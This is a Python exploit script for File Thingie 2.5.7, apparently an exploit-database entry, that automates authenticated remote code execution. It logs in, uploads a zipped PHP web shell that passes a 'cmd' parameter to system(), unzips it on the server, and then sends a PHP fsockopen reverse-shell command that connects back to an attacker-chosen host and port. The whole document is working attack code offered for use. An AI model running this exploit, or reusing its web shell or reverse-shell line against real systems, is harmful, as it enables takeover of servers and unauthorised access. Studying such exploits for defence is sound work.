File Thingie 2.5.7 Shell Upload

#!/usr/bin/python# Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 27th of April, 2023# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)# Software Link: https://github.com/leefish/filethingie# Version: 2.5.7# Tested on: N/A# CVE: N/A# Vulnerability originally discovered / published by Cakes# Reference: https://www.exploit-db.com/exploits/47349# Run a local listener on your machine and youre good to goimport osimport argparseimport requestsimport randomimport stringimport zipfilefrom urllib.parse import urlsplit, urlunsplit, quoteclass Exploit:    def __init__(self, target, username, password, lhost, lport):        self.target = target        self.username = username        self.password = password        self.lhost = lhost        self.lport = lport    def try_login(self) -> bool:        self.session = requests.Session()        post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}        response = self.session.post(self.target, data=post_body)        if response.status_code == 404:            print(f"[-] 404 Not Found - The requested resource {self.target} was not found")            return False        elif response.status_code == 200:            if "Invalid username or password" in response.text:                print(f"Invalid username or password")                return False            return True            def create_new_folder(self) -> bool:        # Generate random string        letters = string.ascii_letters        self.payload_filename = "".join(random.choice(letters) for i in range(16))        headers = {"Content-Type": "application/x-www-form-urlencoded"}        post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}        print(f"[*] Creating new folder /{self.payload_filename}")        response = self.session.post(self.target, headers=headers, data=post_body)        if f"index.php?dir=/{self.payload_filename}" in response.text:            print(f"[+] Created new folder /{self.payload_filename}")            return True                else:            print(f"[-] Could not create new folder /{self.payload_filename}")            return False    def create_payload(self) -> bool:        try:            with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:                    zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")                    print(f"[+] Zipped payload to {self.payload_filename}.zip")                    return True        except:            print(f"[-] Could not create payload to {self.payload_filename}.zip")            return False    def upload_payload(self) -> bool:        # Set up the HTTP headers and data for the request        headers = {            b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'        }        post_body = (            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'            'Content-Type: application/octet-stream\r\n\r\n'        )        post_body += (            '\r\n-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'            '2000000\r\n'            '-----------------------------grimlockx\r\n'            f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'            'Content-Type: application/zip\r\n\r\n'        )        # Read the zip file contents and append them to the data        with open(f"{self.payload_filename}.zip", "rb") as f:            post_body += ''.join(map(chr, f.read()))        post_body += (            '\r\n-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="act"\r\n\r\n'            'upload\r\n'            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="dir"\r\n\r\n'            f'/{self.payload_filename}\r\n'            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="submit"\r\n\r\n'            'Upload\r\n'            '-----------------------------grimlockx--\r\n'        )        print("[*] Uploading payload to the target")        response = self.session.post(self.target, headers=headers, data=post_body)        if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:            print("[+] Uploading payload successful")            return True        else:             print("[-] Uploading payload failed")            return False            def get_base_url(self) -> str:        url_parts = urlsplit(self.target)        path_parts = url_parts.path.split('/')        path_parts.pop()        base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))        return base_url    def unzip_payload(self) -> bool:        print("[*] Unzipping payload")        headers = {"Content-Type": "application/x-www-form-urlencoded"}        post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}        response = self.session.post(f"{self.target}", headers=headers, data=post_body)                if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:            print("[+] Unzipping payload successful")            print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")            return True        else:             print("[-] Unzipping payload failed")            return False    def execute_payload(self) -> bool:        print("[*] Trying the get a reverse shell")        cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")        print("[*] Executing payload")        response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")        print("[+] Exploit complete")                return True    def cleanup_local_files(self) -> bool:        if os.path.exists(f"{self.payload_filename}.zip"):            os.remove(f"{self.payload_filename}.zip")            print("[+] Cleaned up zipped payload on local machine")            return True                print("[-] Could not clean up zipped payload on local machine")        return Falseif __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")    parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")    parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")    parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")    parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")    args = parser.parse_args()    exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)    exploit.try_login()    exploit.create_new_folder()    exploit.create_payload()    exploit.upload_payload()    exploit.unzip_payload()    exploit.execute_payload()    exploit.cleanup_local_files()